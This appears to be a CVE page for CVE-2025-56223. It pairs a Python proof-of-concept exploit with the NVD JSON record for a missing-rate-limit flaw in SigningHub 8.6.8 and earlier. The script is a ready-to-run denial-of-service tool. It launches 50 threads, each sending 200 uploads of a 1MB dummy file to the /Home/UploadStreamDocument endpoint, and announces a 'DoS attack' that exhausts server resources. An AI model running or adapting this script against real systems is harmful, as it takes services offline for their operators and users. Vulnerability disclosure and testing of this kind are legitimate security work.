CVE-2025-56223

#!/usr/bin/env python3 # CVE-2025-56223 - SigningHub DoS via Unrestricted File Upload # Exploits lack of rate limiting on /Home/UploadStreamDocument endpoint import requests import threading import sys import time TARGET_URL = "http://target-signinghub.example.com/Home/UploadStreamDocument" THREAD_COUNT = 50 # Number of concurrent threads REQUESTS_PER_THREAD = 200 # Number of requests per thread TIMEOUT = 10 # Generate a dummy file payload to upload def generate_payload(): boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" body = ( f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"file\"; filename=\"dos_{int(time.time())}.txt\"\r\n" f"Content-Type: application/octet-stream\r\n\r\n" ).encode() # Append a large dummy content to consume resources body += b"A" * (1024 * 1024) # 1MB of data body += f"\r\n--{boundary}--\r\n".encode() return body, boundary def send_upload_request(session, thread_id): """Send multiple upload requests to exhaust server resources""" for i in range(REQUESTS_PER_THREAD): try: payload, boundary = generate_payload() headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "User-Agent": f"DoS-Thread-{thread_id}" } response = session.post( TARGET_URL, data=payload, headers=headers, timeout=TIMEOUT ) print(f"[Thread-{thread_id}] Request {i+1}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[Thread-{thread_id}] Request {i+1} failed: {e}") def main(): print(f"[*] Starting DoS attack against {TARGET_URL}") print(f"[*] Threads: {THREAD_COUNT}, Requests per thread: {REQUESTS_PER_THREAD}") print(f"[*] Total requests: {THREAD_COUNT * REQUESTS_PER_THREAD}") threads = [] for t in range(THREAD_COUNT): session = requests.Session() thread = threading.Thread(target=send_upload_request, args=(session, t)) threads.append(thread) thread.start() for thread in threads: thread.join() print("[+] Attack completed. Target server resources may be exhausted.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-56223", "sourceIdentifier": "[email protected]", "published": "2025-10-20T13:15:44.850", "lastModified": "2025-10-27T13:52:49.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of rate limiting in the component /Home/UploadStreamDocument of SigningHub v8.6.8 allows attackers to cause a Denial of Service (DoS) via uploading an excessive number of files."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ascertia:signinghub:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.6.8", "matchCriteriaId": "04320C9C-96AC-4A4A-8EEA-27C59A9EDBE7"}]}]}], "references": [{"url": "http://ascertia.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://signinghub.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/saykino/CVE-2025-56223", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}